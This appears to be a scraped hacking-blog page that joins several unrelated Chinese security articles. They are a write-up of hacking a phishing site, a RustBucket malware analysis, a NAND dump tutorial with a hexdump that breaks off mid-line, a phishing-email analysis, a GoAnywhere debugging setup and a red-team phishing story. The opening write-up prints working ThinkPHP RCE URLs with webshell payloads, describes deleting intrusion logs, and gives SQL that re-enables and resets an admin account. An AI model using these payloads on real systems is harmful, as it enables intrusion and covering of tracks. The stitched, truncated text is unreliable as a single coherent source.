Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86386359

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

一个学长前几天不幸在钓鱼网站中招被骗走一些资金,在联系有关部门前找到了我看看能不能获取到一些有用的信息以便于有关部门行动
在对网站进行初步信息收集后发现网站使用ThinkPHP 5.0.7框架,直接找到ThinkPHP对应版本的Exp进行尝试:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=phpinfo&vars[0]=1 //执行phpinfo
eaytfpyagqt12697.png
成功弹出phpinfo,ThinkPHP的RCE漏洞没有修复,并且通过phpinfo可以看出服务器使用宝塔搭建,运行Windows系统,本想着接下来的事情就非常简单了,但是当我写Shell时遇到了困难:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ye.php&vars[1][]=<?php eval($_POST['cmd']);?>
文件被成功写入,但是却直接输出在了页面中,查看源代码发现< >被转义为了HTML实体编码:
g52s401kwhd12698.png
在尝试利用base64编码后再写入,发现依然被转义,直接命令执行试一试:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
发现并没有出现回显,尝试反弹Shell也无功而返,这个时候感觉到system可能被禁用了,改用eval依旧无果,最后使用assert发现可以成功执行,直接构造Shell连接:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST[ye])
得到Shell后先尝试执行命令,但是命令依旧无法正常执行,尝试突破disables_function但失败了
这个时候思路转换一下,查看ThinkPHP框架的服务器配置文件/application/database.php得到MySQL数据库账户
ik5xgfnai3212699.png
连接数据库:
3od3knt3izt12700.png
查询后台管理员数据:
ugf2hwraevm12701.png
却发现md5无法解开,但是大致查看了数据库中的数据,到这里并没有发现什么有较大帮助的数据,因而并没有考虑继续死磕在后台账户上
接下来的主要重心应放在对于该站点管理员的信息收集上,先查看一下ThinkPHP框架中的日志记录文件/runtime/log/202107/05.log
在日志中发现system函数果然被禁用了:
gzblmbpf2ou12702.png
与此同时也在日志中发现了一条刚才检查数据库时忽略掉的重要数据——后台管理员最后登陆IP:
hlpvynlvfnt12703.png
翻阅前几日记录发现最后登陆IP都是101.78.*.*这个IP地址,怀疑这就是网站管理员IP地址,反馈给学长后查询了一下该IP,发现是香港的IP,心里一慌:这应该是挂了V P N了吧
结果不出所料:
2jrrm0gb2go12704.png
接下来的工作陷入了僵局,翻阅ThinkPHP的日志后并没有发现其他IP的登陆数据,修改数据库中后台管理员账户密码,登录后台后也没有发现任何有用的信息,只有一些钓鱼文章的管理:
mjksnkmzxph12705.png
后来和一个大师傅交流了一下,大师傅建议查一下看宝塔中有没有留下有用信息,在C:/BtSoft/panel/data/default.db中找到了宝塔面板的数据文件,获取到宝塔的账户信息:
v0mgm1njuo312706.png
同时也查阅了一下宝塔数据库中的log日志内容:
jxd4v0bz1up12707.png
但是却无法解出密码,这时可以通过覆盖db文件重新设置账户密码,但该方法需要重启面板,受限于我们目前的情况,这个办法很难实现
于是思路再次陷入了僵局中,睡了一觉第二天醒来想起宝塔面板会有请求记录日志,于是在C:/BtSoft/panel/logs/request/ 中找到了大量以json形式储存的请求信息
0osczykos4212708.png
打开时间较早的日志文件,果然有所突破(有可能是V P N不稳定,在操作时突然挂掉了,导致真实IP的泄漏):
00kiuvmtich12709.png
在查询175.167.*.* 后,发现是辽宁沈阳的IP地址,用网上的工具进行大致定位反馈给学长
顺带将网站的源码、数据库、log日志文件进行打包取证,一并收集起来,最后再删掉我们在渗透时留下的请求记录
jhvrc502kk212710.png
完事收工


转载于原文链接: https://www.cnblogs.com/yesec/p/14983903.html

今年4月,JAMF的研究人員就詳細介紹了一場針對macOS用戶的複雜APT活動,該活動利用多階段惡意軟件,最終形成了能夠在受感染的設備上下載和執行下一步惡意軟件的Rust後門,他們稱之為“RustBucket”,根據已有的證據,研究人員認為其幕後組織是朝鮮黑客組織“BlueNoroff”,“BlueNoroff”通常被認為是Lazarus的分支。

RustBucket能夠被植入到受害者的設備中,隨時自動調整各項配置,以逃避殺毒軟件的檢測,因此非常難以被察覺。 RustBucket 利用AppleScript,當用戶打開某些特定網站時,會加載相關惡意組件,然後將這款木馬儲存在本地。之後,黑客則可以通過NSTask 啟動這款木馬並收集受害者的隱私信息。 為了能夠持續收集用戶信息,攻擊者會將這款木馬加入名為LaunchAgents 的開機自啟文件夾中,並且會不斷調整木馬的各項配置,以盡可能地迴避殺毒軟件的檢測。 目前,該惡意軟件還無法被檢測到,因此用戶在實際的使用過程中,往往非常難以察覺這款惡意木馬的存在。

今年5月,ESET發布了針對macOS用戶的第二個RustBucket變體的詳細信息,隨後在6月,Elastic發現了第三個變體,其中包括以前未見過的持久化功能。

值得注意的是,RustBucket在惡意軟件的各個階段所採取的反逃避和反分析措施的範圍和類型。我們將在本文回顧該活動中使用的多種惡意軟件有效負載,並強調了RustBucket為逃避分析和檢測而部署的新技術。

階段1:AppleScript Dropper攻擊始於一個偽裝成PDF Viewer應用程序的Applet。 Applet只是以.app格式保存的經過編譯的AppleScript。與常規的macOS應用程序不同,Applet通常缺乏用戶界面,其功能僅作為開發人員向用戶傳播AppleScript的一種方式。

惡意攻擊者選擇不將腳本保存為僅運行,這允許我們使用內置的osadecompile工具輕鬆地反編譯腳本,實際上,這就是蘋果GUI腳本編輯器在查看編譯腳本時在後台運行的內容。

1.png

階段1執行三個“執行shell腳本”命令來設置階段2

該腳本包含三個do shell腳本命令,用於下載和執行下一階段。在JAMF描述的變體中,這是一個名為內部PDF查看器的基本PDF查看器。

階段1將階段2寫入/Users/Shared/文件夾,該文件夾不需要權限,惡意軟件無需繞過TCC即可訪問。與Elastic描述的階段1變體的不同之處在於,它將階段2作為隱藏文件寫入/Users/Shared/.pd。

階段1很容易成為攻擊鏈中最簡單和最容易被檢測到的部分。 do shell腳本命令的參數應該出現在Mac的統一日誌中,並作為命令行工具(如ps實用程序)的輸出。

階段1的成功在很大程度上取決於攻擊者使用社會工程策略的程度。在JAMF描述的示例中,攻擊者使用了一個精心設計的技巧,要求“內部”PDF閱讀器讀取所謂的機密或“受保護”文件。受害者被要求執行階段1,相信它能夠閱讀他們收到的PDF文件。事實上,階段1只是一個dropper,旨在保護階段2順利運行,以防沒有惡意PDF的人偶然發現它。

階段2:用Swift和Objective-C編寫的有效負載研究人員發現了許多不同的Stage 2有效負載,有些是用Swift編寫的,有些是用Objective-C編寫的,並且都是為英特爾和蘋果的矽架構編譯的。階段2示例的大小和代碼工件各不相同。通用的“fat”二進製文件在160Kb到210Kb之間。

2.png

大小不一

在這些示例中,可以找到各種用戶名字符串。到目前為止,我們在階段2的二進製文件中觀察到內容如下所示:

3.png

儘管在大小和代碼構件方面存在差異,但是階段1、2的有效負載都具有從命令和控制服務器檢索階段3的共同任務。階段2有效負載需要一個特製的PDF來解鎖代碼,這將導致下載階段3,並提供一個異或密鑰來解碼附加在PDF末尾的混淆C2。

在一些變體中,這些數據是在之前的研究人員所描述的downAndExecute函數中執行的,在其他情況下,研究人員注意到下一階段的下載是在名為down_update_run函數中執行的。此函數會因示例而異。例如,在b02922869e86ad06ff6380e8ec0be8db38f5002b中,它通過system()運行硬編碼命令。

4.png

階段2通過system()調用執行shell命令來檢索並運行階段3

但是,相同的函數在其他示例中(例如,d5971e8a3e8577dbb6f5a9aad248c842a33e7a26)使用NSURL API和完全不同的邏輯。

5.png

不同示例的代碼差異很大,這可能表明開發人員不同

Elastic的研究人員進一步指出,在用Swift編寫的階段2的一個新變體中,User Agent字符串都是小寫的,而在早期的Objective-C示例中則不是。

6.png

User Agent字符串從階段2的Objective-C版本微妙地更改為Swift版本

雖然User-Agent字符串本身不區分大小寫,但如果這是一個有意的更改,則攻擊者可能正在服務器端解析User-Agent字符串,以排除對C2的不必要調用。也就是說,在RustBucket示例的其他地方(例如,階段1中的“/users/shared”)可以看到大小寫方面的粗心,並且大小寫差異可能是不同開發人員使用不同標準的結果。

在最近的示例中,在受害者的設備上執行之前,階段2檢索的有效負載在_CS_DARWIN_USER_TEMP(又名$TMPDIR,通常位於/var/folders/……/……/t /)中以“ErrorCheck.zip”的形式寫入磁盤。

階段3:新版本釋放持久性LaunchAgent到目前為止,階段3的有效負載有兩種不同的變體:

A: 182760cbe11fa0316abfb8b7b00b63f83159f5aa Stage3

B: b74702c9b82f23ebf76805f1853bc72236bee57c ErrorCheck, System Update

這兩個變體都是從Rust源代碼編譯的Mach-O通用二進製文件。變體A比變體B大得多,前者的通用二進製文件重11.84MB,而變體B的通用二進製文件重8.12MB。精簡後的新變體導入的crate要少得多,並且較少使用兩者中的sysinfo crate。值得注意的是,變體B取消了變體A中用於收集環境信息和通過查詢system_profiler的SPHardwareDataType值來檢查虛擬機中的執行情況的webT類。

7.png

webT類出現在階段3有效負載的變體A中

然而,變體B並沒有清除代碼中的所有webT構件,對缺失模塊的引用仍然可以在字符串中找到。

8.1.png

8.2.png

在階段3變體B中仍然可以找到引用缺失的webT模塊的字符串

子字符串“Trojan”在早期變體中沒有出現,它也出現在同一字符串引用的文件路徑中。

重要的是,變體B包含了一個在早期版本的RustBucket中不存在的持久機制。它採用了硬編碼的LaunchAgent的形式,它被寫入磁盤~/Library/LaunchAgents/com.apple.systemupdate.plist。 ErrorCheck文件也將自己的副本寫入~/Library/Metadata/System Update,並作為LaunchAgent的目標可執行文件。

因為階段3需要URL作為啟動參數,因此在屬性列表中提供URL作為程序參數。奇怪的是,在啟動時傳遞給ErrorCheck的URL被附加到LaunchAgent plist中的這個硬編碼URL。

9.png

RustBucket LaunchAgent將硬編碼的URL與啟動時提供的URL聯繫起來

在變體A的webT方法中發現的許多惡意軟件功能,在變體B中,現在隱藏在巨大的symm .updator:main函數中。它負責監視環境並解析啟動時接收到的參數、處理命令、收集磁盤信息等。這個龐大的函數超過22Kb,包含501個基本塊。不過經過分析,除了Elastic之前描述的功能之外,該功能還收集磁盤信息,包括主機設備的磁盤是SSD還是舊的rotational platter 類型。

10.png

updator:main的任務之一是收集磁盤信息

在收集環境信息後,惡意軟件調用symm .updator:send_request,使用以下User-Agent字符串(這次不是小寫)將數據發佈到C2:

11.png

惡意軟件將比較兩個硬編碼值0x31和0x30的響應結果

12.png

檢查來自C2的響應值

在Elastic分析的樣本中,0x31會導致惡意軟件自我終止,而0x30允許操作者在_CS_DARWIN_USER_TEMP目錄中再釋放一個有效負載。

Rust的選擇和階段3二進製文件的複雜性表明,攻擊者願意投入大量精力來阻止對有效負載的分析。由於已知的C2在進行分析時沒有響應,所以研究人員無法獲得惡意軟件下一階段的樣本,但在操作時,惡意軟件已經收集了大量的主機信息,實現了持久性,並為進一步的惡意活動打開了後門。

緩解措施SentinelOne Singularity可以保護客戶免受已知RustBucket惡意軟件組件的攻擊。在macOS設備上安裝持久性機制的嘗試也會被代理動態檢測和阻止。

13.png

SentinelOne Agent用戶界面

14.png

總結RustBucket活動說明,該攻擊者(之前的研究人員將其歸因於朝鮮的BlueNoroff APT)已經投入了大量資源,專門針對macOS用戶開發了多階段攻擊,並不斷嘗試改進,以阻止分析。

一、 簡介這篇研究論文將通過黑客的視角,詳細闡述如何操作NAND dump 以及如何獲取dump 文件中的所有文件。每一步驟以及所使用的方法均會細緻解析,並配以實例說明。本文主要關注的是物理NAND dump,這是從通用編程器中提取出的dump 文件。相對應地,從引導加載程序(如u-boot)中獲得的dump 文件被稱為邏輯NAND dump。

對於邏輯NAND dump,數據的正確性由Flash Translation Layer (FTL)負責維護。也就是說,FTL 會藉助Error Correcting Code (ECC)自動修復所有的位錯誤。然而,物理NAND dump 中的數據通常會攜帶ECC,這就需要我們自行推斷如何利用ECC 確保數據的準確性。如果數據中存在位錯誤,理應使用ECC 進行適當的糾錯。然而,推斷ECC 與數據如何相關聯並非易事。若無法確定ECC 和數據的關聯性,也就無法利用ECC 修復數據中的位錯誤。因此,必須對NAND dump 進行系統的深度分析,揭示ECC 和數據之間的密切關聯。在此情境下,盲目嘗試暴力破解並非明智之舉,但是如果能藉助深度分析的結果,盲目的暴力破解可以轉化為有目的性的暴力破解。這樣,獲取ECC 和數據之間密切關聯的可能性將得以最大化。

修復數據中的位錯誤並移除ECC 之後,NAND dump 就由物理形態轉化為邏輯形態,此時便可以開始對實際的固件圖像進行分析。作為論文的實際案例,我們將處理一個UBI 鏡像,並對UBI 鏡像的分析進行詳細的討論。根據從UBI 鏡像分析中得到的關鍵信息,我們提出了一個創新性的方法來恢復文件系統並提取文件系統內部承載的所有文件。需要特別注意的是,本論文討論的整個過程無法通過像binwalk 或unblob 這樣的自動化工具複製。此外,整個分析過程都會以手動、逐步的方式呈現,以確保所有步驟和概念都能夠得到清晰的解釋。現在,我們將不再糾結於理論討論,而是進入實際的NAND dump 分析環節,進行詳細的介紹。

二、 NAND 轉儲分析

首先,讓我們從一些基礎的概念開始探討。一個NAND 閃存包含許多稱為'頁面'的單元,它們都是固定的大小,並以一定數量的'頁面'組成一個'塊'。鑑於我們的樣本NAND dump 是從一個實際的NAND 芯片中獲取的,型號為MT29F2G08ABAEAWP,因此我們將以它為例,來介紹相關的硬件技術規範。

對於MT29F2G08ABAEAWP 這款芯片,一個'頁面'的大小是2112 字節,其中包括2048 字節的主數據和64 字節的額外數據。 64 個'頁面'組成一個'塊',而2048 個這樣的'塊'構成了整個NAND 閃存的存儲空間,總計有2048*64=131072 個'頁面'。

對於每一個大小為2112 字節的'頁面',前2048 字節用於數據存儲,剩餘的64 字節則作為備用區域,用於承載錯誤糾正代碼(Error Correcting Code, ECC)或某些供應商特定的元數據。在一些文獻中,這部分備用區域有時也被稱為Out Of Band(OOB)。

對於我們的樣本NAND dump,如果我們在十六進制模式下查看,會發現第一個'頁面'中,地址從0x0000 到0x07ff 的部分是數據區,地址從0x0800 到0x083f 的部分是備用區或OOB 區,具體示意如下。作為NAND 轉儲樣本的概述。

cawan%hexdump-C-n2112./MT29F2G08ABAEAWP@TSOP48.BIN

000000002054564e00020000a0ac0000ffffffff|TVN..|

0000001055aa55aa2e000000200200b000000001|U.U..|

00000020640200b0180000c0200200b018000001|d..|

00000030aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000040281800b04ad8dc53081800b014800000|(.J.S.|

00000050aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000060aa55aa5501000000001800b076040300|.U.U.v.|

00000070aa55aa5501000000041800b021000000|.U.U..|

00000080aa55aa5501000000041800b023000000|.U.U.#.|

00000090aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

000000a0aa55aa5501000000041800b027000000|.U.U.'.|

000000b0aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

000000c0aa55aa5501000000201800b000000000|.U.U..|

000000d0241800b0000000001c1800b000400000|$..@.|

000000e0181800b032030000101800b006000000|.2..|

000000f0041800b027000000aa55aa5501000000|.'.U.U.|

00000100aa55aa5501000000aa55aa5501000000|.U.U.U.U.|

00000110041800b02b000000041800b02b000000|.+.+.|

00000120041800b02b000000181800b032020000|.+.2.|

000001301c1800b0814700001c1800b001440000|.G.D.|

00000140041800b020000000341800b020888800|.4.|

00000150aa55aa5501000000180200b008000000|.U.U..|

00000160603100b800800000a03100b800800000|1.1.|

000001702c0200b0000100002c0200b000010000|,.|

000001802c0200b0000100000000000000000000|,.|

00000190130000ea14f09fe510f09fe50cf09fe5|..|

000001a008f09fe504f09fe500f09fe504f01fe5|..|

000001b020030000785634127856341278563412|.xV4.xV4.xV4.|

000001c078563412785634127856341278563412|xV4.xV4.xV4.xV4.|

000001d000020000a0ac000080b50000a0ac0000|..|

000001e0dec0ad0b00000fe11f00c0e3d30080e3|..|

000001f000f029e1bcd09fe507d0cde30000a0e3|.)..|

00000200700500eb0040a0e10150a0e10260a0e1|p.@.P.|

0000021004d0a0e18c004fe2009046e0060050e1|.O.F.P.|

000002200600000a0610a0e15c301fe5032080e0|.\0.|

000002300006b0e80006a1e8020050e1fbffff3a|..P.|

0000024074009fe574109fe50020a0e3010050e1|t.t.P.|

000002500200002a002080e5040080e2faffffea|.*..|

0000026000009fe500f0a0e154060000a0ac0000|.T.|

00000270a0ac0000a0ac00000000a0e3170f07ee|..|

00000280170f08ee100f11ee230cc0e38700c0e3|.#.|

00000290020080e3010a80e3100f01ee0ec0a0e1|..|

000002a00a0000eb0ce0a0e10ef0a0e10000a0e1|..|

000002b0e8d01fe5feffffeb008000bca0ae0000|..|

000002c080b700000000a0e10000a0e10000a0e1|..|

000002d068009fe50010e0e3001080e500000fe1|h..|

000002e0c00080e300f021e154009fe554109fe5|.T.T.|

000002f0001080e550009fe550109fe5001080e5|.P.P.|

000003004c009fe50514a0e3001080e544009fe5|L..D.|

0000031044109fe5001080e5032aa0e3012052e2|D.*.R.|

00000320fdffff1a20009fe530109fe5001080e5|.0.|

00000330012ba0e3012052e2fdffff1a0ef0a0e1|.+.R..|

00000340242100b8041000b084000440040200b0|$!@.|

00000350ff0f0000080200b00c0200b0244f0000|..$O.|

00000360fc0f0000000000000000000000000000|..|

00000370000051e31f00000a0130a0e30020a0e3|.Q.0.|

00000380010050e11900003a010251e300005131|.P.Q.Q1|

000003900112a0310332a031faffff3a020151e3|.1.2.1.Q.|

000003a0000051318110a0318330a031faffff3a|.Q1.1.0.1.|

000003b0010050e10100402003208221a10050e1|.P.@.P.|

000003c0a1004020a3208221210150e121014020|.@.P.@|

000003d023218221a10150e1a1014020a3218221|#!P.@.|

000003e0000050e32332b0112112a011efffff1a|.P.#2..|

000003f00200a0e10ef0a0e104e02de5c91c00eb|..-.|

000004000000a0e30080bde803502de9d7ffffeb|..P-.|

000004100650bde8900203e0031041e00ef0a0e1|.P.A.|

0000042003502de9090000eb0650bde8900203e0|.P-.P.|

00000430031041e00ef0a0e10000a0e10000a0e1|.A..|

000004400000a0e10000a0e10000a0e10000a0e1|..|

00000450000051e301c020e04200000a00106142|.Q.B.aB|

00000460012051e22700000a0030b0e100306042|.Q.'.0.0B|

00000470010053e12600009a020011e12800000a|.S.(.|

000004800e0211e38111a0010820a0030120a013|..|

00000490010251e3030051310112a0310222a031|.Q.Q1.1.'.1|

000004a0faffff3a020151e3030051318110a031|.Q.Q1.1|

000004b08220a031faffff3a0000a0e3010053e1|.1..S.|

000004c00130432002008021a10053e1a1304320|.0C.S.0C|

000004d0a2008021210153e12131432022018021|.S.1C'.|

000004e0a10153e1a1314320a2018021000053e3|.S.1C.S.|

000004f02222b0112112a011efffff1a00005ce3|''..\.|

00000500000060420ef0a0e100003ce100006042|.B..B|

000005100ef0a0e10000a033cc0fa00101008003|.3.|

000005200ef0a0e1010851e32118a0211020a023|.Q.#|

000005300020a033010c51e32114a02108208222|.3.Q.'|

00000540100051e32112a02104208222040051e3|.Q.'.Q.|

0000055003208282a120829000005ce33302a0e1|.\.3.|

00000560000060420ef0a0e104e02de56d1c00eb|.B.-.m.|

000005700000a0e304f09de40000a0e10000a0e1|..|

000005800000a0e10000a0e10000a0e10000a0e1|..|

00000590203052e220c062e23002a0413103a051|0R.b.0.A1.Q|

000005a0110c80413112a0e10ef0a0e1203052e2|.A1.0R.|

000005b020c062e21112a0411013a051301c8141|.b.A.Q0.A|

000005c01002a0e10ef0a0e1203052e220c062e2|.0R.b.|

000005d03002a0415103a051110c80415112a0e1|0.AQ.Q.AQ.|

000005e00ef0a0e12dde4de20040a0e36c319fe5|.-.M.@.l1.|

000005f00d00a0e100308de504308de51c408de5|.0.0.@.|

00000600bcd28de530408de550408de5d10100eb|.0@.P@.|

000006101c309de5040053e10200000a0410a0e1|.0.S..|

000006208a0f8de233ff2fe18a0f8de20110a0e3|.3./..|

00000630ca1a00eb000050e34600001a700400eb|.P.F.p.|

0000064038429de53c529de50400a0e10510a0e1|8B.R..|

0000065046ffffeb0410a0e10ea6a0e300b0a0e1|F..|

000006600a08a0e341ffffeb0410a0e10070a0e1|.A.p.|

00000670ec009fe53dffffeb0410a0e10090a0e1|.=..|

000006800a08a0e35fffffeb0100a0e10

概要:“薪資調整”類釣魚郵件激增本週(2023年7月3日~7日),網際思安麥賽安全實驗室(MailSec Lab)觀察到大量新增的“薪資調整”類釣魚郵件攻擊,並做了詳細的風險特徵、攻擊溯源等技術研究與分析,請各企事業單位及時做好相關的防護。

熱點描述:關於此批“薪資調整”類釣魚郵件的典型樣本郵件,如下圖所示:

圖1. 關於薪資調整通知的釣魚郵件

1.jpg

該郵件通過偽造“薪資調整”通知,誘導員工點擊郵件正文中URL超鏈接,從而訪問精心構造的釣魚網站。當員工輸入其郵箱帳號和密碼後,攻擊者將獲得該私人賬戶信息,並可利用該信息成功登陸員工的私人郵件賬戶。

圖2. 點擊超鏈接後訪問的釣魚網站

2.jpg

圖3. 記錄帳號信息,並模擬系統繁忙

3.jpg

專家分析:MailSec Lab的技術專家從源IP、URL鏈接、郵件頭、郵件內容等方面,對此郵件的風險特徵進行了詳盡的技術分析。

l 郵件頭分析:X-Mailer字段此類風險郵件的頭部包含的“X-Mailer”字段值為“Supmailer 38.1.2”。

圖4. 郵件頭部X-Mailer字段展示

4.jpg

X-Mailer字段表明了攻擊者通過Supmailer軟件的38.1.2版本來發送釣魚郵件。 Supmailer是由一家德國公司研發的,用於批量創建和發送廣告郵件的軟件。該軟件的官方網站是“https://int.supermailer.de/”。該文件頭字段表明郵件發送者通過使用Supmailer軟件群發釣魚郵件,而非正常使用Outlook, Foxmail等郵件客戶端發送郵件。

圖5. Supmailer官方網站

5.jpg

圖6. Supmailer廣告郵件群發軟件界面截圖

6.jpg

l 郵件頭分析:源IP字段通過對郵件頭字段的分析可知,在該釣魚郵件到達公司之前,分別先後經過了221.235.220.134和218.70.153.165兩跳IP地址。

圖7. 郵件頭部源IP字段展示

7.jpg

查詢覆蓋全球的91個RBL數據源,檢測結果如下。兩個外部IP地址被列入了多達10多個的RBL黑名單。

序列號URL/IP被列為黑名單的RBL名稱1

218.70.153.165

Anonmails DNSBL

2

BARRACUDA

3

Sender Score Reputation Network

4

SORBS SPAM

5

Spamhaus ZEN

6

UCEPROTECTL2

7

TRUNCATE

8

UCEPROTECTL3

9

221.235.220.134

RATS NoPtr

10

Spamhaus ZEN

11

UCEPROTECTL2

12

UCEPROTECTL3

l URL超鏈接分析對URL鏈接的Whois信息進行查詢。該網站於1個多月前建立(2023年5月22日),並且服務器位於香港,因此不用進行公安註冊。此類新建設且未進行公安部註冊的網站大概率被用於發起黑客攻擊。

圖8 郵件中URL鏈接的Whois信息

8.jpg

對該IP進行域名反查,可得知該IP地址下共服務了42個域名,其中有近20個域名被威脅情報識別為惡意域名。由此可見,該IP下的服務器被攻擊者用於批量建設釣魚網站。

圖9. 同一個IP下有近20個惡意域名

9.jpg

並且該URL超鏈接的域名被知名威脅情報也列為惡意域名:

圖10. 該域名被威脅情報列為惡意域名

10.jpg

郵件正文中URL鏈接格式如下:https://mail-al.cn/#contact@

HireHackking
0x00 前言本文記錄從零開始搭建GoAnywhere Managed File Transfer漏洞調試環境的細節。
0x01 簡介本文將要介紹以下內容:
GoAnywhere Managed File Transfer安裝
GoAnywhere Managed File Transfer漏洞調試環境配置
數據庫操作
0x02 GoAnywhere Managed File Transfer安裝參考資料:https://static.fortra.com/goanywhere/pdfs/guides/ga6_8_6_installation_guide.pdf
下載地址:https://www.goanywhere.com/products/goanywhere-free/download
需要註冊賬號獲得license
GoAnywhere Managed File Transfer可以分別安裝在Windows和Linux操作系統
Windows系統下默認的Web路徑:C:\Program Files\HelpSystems\GoAnywhere\tomcat\webapps\ROOT
Linux系統下默認的Web路徑:/usr/local/HelpSystems/GoAnywhere/tomcat/webapps/ROOT
1.開啟遠程調試功能通過開啟Tomcat調試功能來實現,開啟Tomcat調試功能的方法如下:
切換至bin目錄
執行命令:catalina jpda start
Tomcat調試功能開啟後默認監聽本地8000端口
對於GoAnywhere Managed File Transfer,開啟調試功能的方法如下:
(1)Windows下調試
修改文件C:\Program Files\HelpSystems\GoAnywhere\tomcat\bin\GoAnywhere.exe的文件屬性
雙擊文件C:\Program Files\HelpSystems\GoAnywhere\tomcat\bin\GoAnywhere.exe,切換到Java標籤頁,在Java Optinos添加:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8090,如下圖
重啟服務GoAnywhere
(2)Linux調試
修改文件:/opt/HelpSystems/GoAnywhere/tomcat/bin/start_tomcat.sh,將exec '$PRGDIR'/'$EXECUTABLE' start '$@'修改為exec '$PRGDIR'/'$EXECUTABLE' jpda start '$@'
修改文件:/opt/HelpSystems/GoAnywhere/tomcat/bin/goanywhere_catalina.sh,將JPDA_ADDRESS='localhost:8000'修改為JPDA_ADDRESS='*:8090'
注:
Tomcat默認的調試端口8000同GoAnywhere Managed File Transfer的Web端口衝突,所以這裡選擇修改Tomcat默認的調試端口為8090
打開防火牆允許外部訪問8090端口:iptables -I INPUT -p tcp --dport 8090 -j ACCEPT
啟動GoAnywhere進程:/opt/HelpSystems/GoAnywhere/goanywhere.sh start
0x03 數據庫操作GoAnywhere Managed File Transfer使用Apache Derby數據庫
Windows下默認數據庫存儲位置為:C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere
Linux下默認數據庫存儲位置為:/opt/HelpSystems/GoAnywhere/userdata/database/goanywhere/
數據庫操作的實現細節可從lib文件夾下的ga_classes.jar獲得
從中我們可以得到Web用戶口令加密的實現細節,對應位置:C:\Program Files\HelpSystems\GoAnywhere\lib\ga_classes.jar!\com\linoma\ga\ui\admin\action\user\ChangeUserPasswordAction.class
提取出的Java實現代碼如下:

1.讀取Derby數據庫(1)命令行實現
使用Apache Derby,下載地址:https://archive.apache.org/dist/db/derby/db-derby-10.14.2.0/db-derby-10.14.2.0-bin.zip
運行bin目錄下的ij.bat
連接數據庫:connect 'jdbc:derby:C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere;';
查詢用戶配置:SELECT * FROM DPA_USER;
(2)界面化實現
使用DBSchema,下載地址:https://dbschema.com/download.html
啟動DBSchema後,選擇連接Derby數據庫,JDBC Driver選擇derbytools.jar org.apache.derby.jdbc.EmbeddedDriver,Folder選擇C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere
查詢用戶數據表,如下圖

可以看到默認用戶有以下三個:
Administrator,未啟用
root,未啟用
admin,默認用戶
2.修改數據庫GoAnywhere Managed File Transfer的Derby數據庫使用了內嵌模式,其他應用程序不可訪問,所以有以下兩種修改數據的方法:
(1)GoAnywhere Managed File Transfer處於運行狀態
可以通過寫入jsp文件實現數據庫的修改
(2)GoAnywhere Managed File Transfer處於關閉狀態
可以選擇Apache Derby或DBSchema打開數據庫文件夾,直接進行修改
修改數據庫的命令示例:
啟用root用戶:UPDATE APP.DPA_USER SET ENABLED='1' WHERE USER_NAME='root';
設置root用戶口令:UPDATE APP.DPA_USER SET USER_PASS='$5$mpoe6zI4B6+LHRMdbFKr8g==$RnAILbYe9KDauKE3wXTFVvlXQNZeM4Z2c7x1aEtME/U=' WHERE USER_NAME='root';
0x04 小結在我們搭建好GoAnywhere Managed File Transfer漏洞調試環境後,接下來就可以著手對漏洞進行學習。
HireHackking
0x00 前言
红蓝对抗无疑是一场持续性的博弈过程,随着近几年的攻防不断,打了一轮又一轮,web漏洞的急剧减少,社工钓鱼显然成为了主流的攻击手段之一。



0x01 免责声明
请您务必认真阅读、充分理解下列条款内容:
1、本公众号分享的任何文章仅面向合法授权的企业安全建设行为与个人学习行为,严禁任何组织或个人用于非法活动。
2、在使用本文相关工具及技术进行测试时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。
3、如果您在使用本文相关工具及技术的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
4、严禁任何组织或个人使用本公众号的名义进行非法盈利。
5、本公众号的所有分享工具及技术文章,严禁不经过授权的公开分享。
如果发现上述禁止行为,我们将保留追究您法律责任的权利,并由您自身承担由禁止行为造成的任何后果。
0x02 常规操作走一遍
拿到靶标后 --> 资产收集 --> 找软柿子 --> 尝试打点
拿到靶标单位信息后,通过企查查查域名和企业架构,发现没有对外投资,只有一个上级单位总公司


找子域,也没啥可用资产(virustotal.com,快速简便但不准确)



通过qaxnb资产绘测平台来看看是否有可用信息,也是空空如也


通过多点Ping,域名解析等操作来找真实IP,发现都是指向阿里云


一套流程下来,除了一个打不动的官网(域名解析指向云,更没心情去深入挖掘了),没有任何可以打点的目标了
最终得出结论:软柿子竟是我自己
0x03 条条大路通罗马
web打不动,就不能走常规操作了,开始把矛头对准公众号,小程序
通过测移动端的应用,观察请求地址和回包内容,终于找到了真实IP地址,因此也得官网并没挂在云上


通过IP进行全端口扫描,发现存在H3C网管设备,可以大概猜测出该IP为出口IP了


通过扫描前后五个IP的全端口信息,喜出望外的发现了好几个应用系统,看着就像软柿子,感觉成功就在眼前了,马上就要一发入魂,直捣黄龙了,想想还有点小激动,嘿嘿嘿
结果,虽然存在一些漏洞,但还是一个都锤不动,getshell失败
果然,软柿子竟是我自己
但是,咱们做攻防的都是刚枪王,不到最后一秒是不会不放弃的,在渗透某系统的时候发现了一个大宝贝(在线人工一对一微信二维码 )


0x04 我爱靶标客服
添加靶标客服后,我那激动的心,颤抖的手,无一都不暗示着我们俩之间会像是初恋那般的美好,干柴遇烈火,今晚指定得发生点什么,嘿嘿嘿
通过对话的时间间隔和回复的短短只言片语,不难看出,枉我一篇赤诚之心,她对我竟是敷衍。
但俗话说得好:”撑死胆大的,饿死胆小的”,我断定出她对我不够上心,故,我决定做个胆大的好男儿。


果然,在我那一句:“你确定吗?你有真心对我吗?”,在两个“?”的攻势下,她果然回心转意了,点开了我的大宝贝。我也成功的进入了她们单位的内网。


